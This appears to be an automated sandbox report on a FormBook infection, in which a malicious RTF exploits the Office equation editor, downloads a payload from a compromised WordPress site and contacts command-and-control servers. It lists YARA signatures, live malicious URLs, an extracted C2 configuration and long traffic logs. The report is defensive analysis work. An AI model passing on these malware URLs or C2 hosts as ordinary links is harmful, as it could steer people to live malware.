6.2.twbcaze.exe.250000.0.raw.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1591f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa58a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1440c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb283:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b8e7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c8ea:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
6.2.twbcaze.exe.250000.0.raw.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18809:$sqlite3step: 68 34 1C 7B E1 0x1891c:$sqlite3step: 68 34 1C 7B E1 0x18838:$sqlite3text: 68 38 2A 90 C5 0x1895d:$sqlite3text: 68 38 2A 90 C5 0x1884b:$sqlite3blob: 68 53 D8 7F 8C 0x18973:$sqlite3blob: 68 53 D8 7F 8C
6.2.twbcaze.exe.250000.0.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
6.2.twbcaze.exe.250000.0.unpack	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
6.2.twbcaze.exe.250000.0.unpack	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x5451:$a1: 3C 30 50 4F 53 54 74 09 40 0x1bd80:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x9bbf:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 0x14aa7:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
6.2.twbcaze.exe.250000.0.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8b08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8d72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x148a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14391:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x149a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x14b1f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x978a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1360c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa483:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1aae7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1baea:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
6.2.twbcaze.exe.250000.0.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x17a09:$sqlite3step: 68 34 1C 7B E1 0x17b1c:$sqlite3step: 68 34 1C 7B E1 0x17a38:$sqlite3text: 68 38 2A 90 C5 0x17b5d:$sqlite3text: 68 38 2A 90 C5 0x17a4b:$sqlite3blob: 68 53 D8 7F 8C 0x17b73:$sqlite3blob: 68 53 D8 7F 8C
Click to see the 15 entries

Sigma Signatures

Exploits

Sigma detected: EQNEDT32.EXE connecting to internet

Source: Network Connection

Author: Joe Security: Data: DestinationIp: 103.224.247.210, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, Initiated: true, ProcessId: 1668, Protocol: tcp, SourceIp: 192.168.2.22, SourceIsIpv6: false, SourcePort: 49161

Sigma detected: File Dropped By EQNEDT32EXE

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ProcessId: 1668, TargetFilename: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\balokarat2.1[1].exe

Snort Signatures

ET TROJAN EXE Download Request To Wordpress Folder Likely Malicious - Source IP: 192.168.2.22 - Destination IP: 103.224.247.210

Timestamp:	192.168.2.22103.224.247.21049161802021697 11/21/23-13:25:55.147417
SID:	2021697
Source Port:	49161
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.22 - Destination IP: 107.164.111.101

Timestamp:	192.168.2.22107.164.111.10149165802031412 11/21/23-13:26:55.450467
SID:	2031412
Source Port:	49165
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.22 - Destination IP: 3.33.130.190

Timestamp:	192.168.2.223.33.130.19049166802031412 11/21/23-13:27:15.263664
SID:	2031412
Source Port:	49166
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://www.janenas.top/t2ti/	Avira URL Cloud: Label: phishing
Source: http://www.albertcolet.com/t2ti/	Avira URL Cloud: Label: malware
Source: http://www.xazeyu.net/t2ti/	Avira URL Cloud: Label: malware
Source: http://www.hhmhhhbh.xyz	Avira URL Cloud: Label: malware
Source: http://www.maquibotanic.com/t2ti/	Avira URL Cloud: Label: malware
Source: http://www.hhmhhhbh.xyz/t2ti/www.techsterverse.life	Avira URL Cloud: Label: phishing
Source: http://www.xazeyu.net/t2ti/www.fxzx01.icu	Avira URL Cloud: Label: malware
Source: http://www.6061k.vip/t2ti/?ll=NdqLMf&4hO02rc=qDIrkJK7+k7t2cKm0yqLDiQOFM/oPqsB85v8vrvlTOlWprVZbJOF5qoRsr2uTLTXyB6S3g==	Avira URL Cloud: Label: malware
Source: http://www.shucaimh.com/t2ti/www.6061k.vip	Avira URL Cloud: Label: malware
Source: http://swamini.in/wp-content/uploads/wpr-addons/forms/balokarat2.1.exe	Avira URL Cloud: Label: malware
Source: http://www.janenas.top/t2ti/www.alishopogolic.com	Avira URL Cloud: Label: phishing
Source: http://www.allamericanshuttlellc.com/t2ti/	Avira URL Cloud: Label: malware
Source: http://www.shucaimh.com/t2ti/?4hO02rc=giwc8XVj/AkHwdj5caWP9R2rVnZav6a8h1CJcH9em0U/x824OxogtA/AOr9gMChFXFyvXA==&ll=NdqLMf	Avira URL Cloud: Label: malware
Source: http://www.6061k.vip/t2ti/	Avira URL Cloud: Label: malware
Source: http://www.albertcolet.com/t2ti/www.guimisha.com	Avira URL Cloud: Label: malware
Source: http://www.6061k.vip/t2ti/www.xazeyu.net	Avira URL Cloud: Label: malware
Source: https://swamini.in/	Avira URL Cloud: Label: malware
Source: http://www.techsterverse.life/t2ti/www.www32561b.com	Avira URL Cloud: Label: malware
Source: http://www.guimisha.com/t2ti/www.ssongg10292.cfd	Avira URL Cloud: Label: malware
Source: http://www.hhmhhhbh.xyz/t2ti/	Avira URL Cloud: Label: phishing
Source: https://swamini.in/wp-content/uploads/wpr-addons/forms/balokarat2.1.exeqqC:	Avira URL Cloud: Label: malware
Source: http://www.spacecargo.net/t2ti/www.michealwilshire.online	Avira URL Cloud: Label: malware
Source: http://www.alishopogolic.com/t2ti/	Avira URL Cloud: Label: malware
Source: http://www.guimisha.com/t2ti/	Avira URL Cloud: Label: malware
Source: https://swamini.in/wp-content/uploads/wpr-addons/forms/balokarat2.1.exeemC:	Avira URL Cloud: Label: malware
Source: http://swamini.in/wp-content/uploads/wpr-addons/forms/balokarat2.1.exej	Avira URL Cloud: Label: malware
Source: https://swamini.in/wp-content/uploads/wpr-addons/forms/balokarat2.1.exe	Avira URL Cloud: Label: malware
Source: http://www.michealwilshire.online/t2ti/www.janenas.top	Avira URL Cloud: Label: malware
Source: http://www.www32561b.com/t2ti/	Avira URL Cloud: Label: malware
Source: http://www.fxzx01.icu/t2ti/	Avira URL Cloud: Label: malware
Source: www.guimisha.com/t2ti/	Avira URL Cloud: Label: malware
Source: http://www.techsterverse.life/t2ti/	Avira URL Cloud: Label: malware
Source: http://www.shucaimh.com/t2ti/	Avira URL Cloud: Label: malware
Source: http://www.fxzx01.icu/t2ti/www.albertcolet.com	Avira URL Cloud: Label: malware
Source: http://www.www32561b.com/t2ti/www.spacecargo.net	Avira URL Cloud: Label: malware
Source: http://www.spacecargo.net/t2ti/	Avira URL Cloud: Label: malware
Source: http://www.alishopogolic.com/t2ti/www.maquibotanic.com	Avira URL Cloud: Label: malware
Source: http://www.allamericanshuttlellc.com/t2ti/www.shucaimh.com	Avira URL Cloud: Label: malware
Source: http://www.michealwilshire.online/t2ti/	Avira URL Cloud: Label: malware
Source: http://www.ssongg10292.cfd/t2ti/	Avira URL Cloud: Label: malware
Source: http://www.ssongg10292.cfd/t2ti/www.hhmhhhbh.xyz	Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000007.00000002.363149838.0000000000260000.00000040.10000000.00040000.00000000.sdmp

Malware Configuration Extractor: FormBook {"C2 list": ["www.guimisha.com/t2ti/"], "decoy": ["j6y.lat", "kindlekidz.com", "studio352events.com", "merelweb.com", "6061k.vip", "iuk242.com", "tiltedjava.net", "importmotorshickory.com", "codinnotech.com", "foodapartcupboardscript.click", "donovanmanuel.store", "michealwilshire.online", "clawenterprises.net", "spacecargo.net", "duadqps.com", "allamericanshuttlellc.com", "shucaimh.com", "qivovrj.com", "infynite1.net", "albertcolet.com", "millennium-project.net", "fxzx01.icu", "motenm.com", "cloudsolution.site", "buddyurns.com", "vxjmolopbsma.com", "cleanwipe.shop", "serviamcounseling.com", "brandonjamescreative.com", "ricohdealers.com", "fixthecat.com", "sanqiantongpao.com", "techsterverse.life", "gzshbsh.net", "abbeyannieretreat.com", "zzw.bet", "alishopogolic.com", "whoops.store", "tike-taka.com", "kaaatieharvey.com", "eresloquebebes.com", "saferspaces.net", "maxwebmarketingdigital.com", "90phutv.live", "prescribedaddiction.com", "office-honu.com", "maquibotanic.com", "www32561b.com", "allsectors.net", "hhmhhhbh.xyz", "werks.dev", "ssongg10292.cfd", "lezhiyunfu.net", "xazeyu.net", "millennialsbloghub.com", "hupkeo.link", "doconomist.net", "onlygiftkits.com", "earthdatascape.com", "3gnz.com", "janenas.top", "shoes-fl.com", "xdeh02h.xyz", "smartsettlesolutions.com"]}

Multi AV Scanner detection for submitted file

Source: SecuriteInfo.com.RTF.Obfuscated-gen.19663.16514.rtf	ReversingLabs: Detection: 48%
Source: SecuriteInfo.com.RTF.Obfuscated-gen.19663.16514.rtf	Virustotal: Detection: 55%			Perma Link

Yara detected FormBook

Source: Yara match	File source: 7.2.twbcaze.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.twbcaze.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.twbcaze.exe.250000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.twbcaze.exe.250000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.363149838.0000000000260000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.879277529.00000000001A0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.363182622.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.353559991.0000000000250000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.879264468.0000000000170000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.879241310.0000000000090000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.363178353.00000000003D0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Antivirus / Scanner detection for submitted sample

Source: SecuriteInfo.com.RTF.Obfuscated-gen.19663.16514.rtf

Avira: detected

Multi AV Scanner detection for domain / URL

Source: swamini.in	Virustotal: Detection: 18%			Perma Link
Source: https://swamini.in/	Virustotal: Detection: 14%			Perma Link

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe

Joe Sandbox ML: detected

Exploits

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\user\AppData\Roaming\word.exe
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\user\AppData\Roaming\word.exe			Jump to behavior

Office equation editor establishes network connection

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Network connect: IP: 103.224.247.210 Port: 80			Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Network connect: IP: 103.224.247.210 Port: 443			Jump to behavior

Source: unknown	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: unknown	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source: unknown

HTTPS traffic detected: 103.224.247.210:443 -> 192.168.2.22:49162 version: TLS 1.2

Source:	Binary string: wntdll.pdb source: twbcaze.exe, twbcaze.exe, 00000007.00000002.363230284.0000000000830000.00000040.00001000.00020000.00000000.sdmp, twbcaze.exe, 00000007.00000003.353742446.00000000006A0000.00000004.00000020.00020000.00000000.sdmp, twbcaze.exe, 00000007.00000003.353487923.0000000000430000.00000004.00000020.00020000.00000000.sdmp, twbcaze.exe, 00000007.00000002.363230284.00000000009B0000.00000040.00001000.00020000.00000000.sdmp, cmstp.exe, cmstp.exe, 00000009.00000003.363443838.0000000001D20000.00000004.00000020.00020000.00000000.sdmp, cmstp.exe, 00000009.00000002.879405399.0000000002030000.00000040.00001000.00020000.00000000.sdmp, cmstp.exe, 00000009.00000003.363187187.0000000001BC0000.00000004.00000020.00020000.00000000.sdmp, cmstp.exe, 00000009.00000002.879405399.0000000001EB0000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: cmstp.pdb source: twbcaze.exe, 00000007.00000002.363156888.00000000002A0000.00000040.10000000.00040000.00000000.sdmp, twbcaze.exe, 00000007.00000002.363191563.00000000005B4000.00000004.00000020.00020000.00000000.sdmp, cmstp.exe, 00000009.00000002.879251773.00000000000D0000.00000040.80000000.00040000.00000000.sdmp

Source: C:\Users\user\AppData\Roaming\word.exe	Code function: 5_2_00405E93 FindFirstFileA,FindClose,	5_2_00405E93
Source: C:\Users\user\AppData\Roaming\word.exe	Code function: 5_2_004054BD DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,	5_2_004054BD
Source: C:\Users\user\AppData\Roaming\word.exe	Code function: 5_2_00402671 FindFirstFileA,	5_2_00402671
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 6_2_004203E8 _free,_free,FindFirstFileExW,	6_2_004203E8
Source: C:\Users\user\AppData\Local\Temp\twbcaze.exe	Code function: 6_2_0042049C FindFirstFileExW,FindNextFileW,FindClose,	6_2_0042049C

Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 103.224.247.210:80
Source: global traffic	TCP traffic: 103.224.247.210:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 103.224.247.210:80
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 103.224.247.210:80
Source: global traffic	TCP traffic: 103.224.247.210:80 -> 192.168.2.22:49161
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 103.224.247.210:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 103.224.247.210:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 103.224.247.210:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 103.224.247.210:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 103.224.247.210:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 103.224.247.210:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 103.224.247.210:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 103.224.247.210:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 103.224.247.210:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 103.224.247.210:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 103.224.247.210:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 103.224.247.210:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 103.224.247.210:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 103.224.247.210:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 103.224.247.210:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 103.224.247.210:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 103.224.247.210:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 103.224.247.210:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 103.224.247.210:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 103.224.247.210:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 103.224.247.210:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 103.224.247.210:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 103.224.247.210:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 103.224.247.210:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 103.224.247.210:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 103.224.247.210:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 103.224.247.210:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 103.224.247.210:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 103.224.247.210:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 103.224.247.210:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 103.224.247.210:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 103.224.247.210:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 103.224.247.210:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 103.224.247.210:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 103.224.247.210:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 103.224.247.210:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 103.224.247.210:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 103.224.247.210:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 103.224.247.210:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 103.224.247.210:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 103.224.247.210:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 103.224.247.210:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 103.224.247.210:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 103.224.247.210:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 103.224.247.210:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 103.224.247.210:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 103.224.247.210:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 103.224.247.210:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 103.224.247.210:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 103.224.247.210:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 103.224.247.210:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 103.224.247.210:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 103.224.247.210:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 103.224.247.210:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 103.224.247.210:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 103.224.247.210:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 103.224.247.210:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 103.224.247.210:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 103.224.247.210:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 103.224.247.210:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 103.224.247.210:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 103.224.247.210:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 103.224.247.210:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 103.224.247.210:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 103.224.247.210:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 103.224.247.210:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 103.224.247.210:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 103.224.247.210:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 103.224.247.210:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 103.224.247.210:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 103.224.247.210:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 103.224.247.210:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 103.224.247.210:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 103.224.247.210:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 103.224.247.210:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 103.224.247.210:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 103.224.247.210:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 103.224.247.210:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 103.224.247.210:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 103.224.247.210:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 103.224.247.210:443
Source: global traffic	TCP traffic: 103.224.247.210:443 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49161 -> 103.224.247.210:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.164.111.101:80
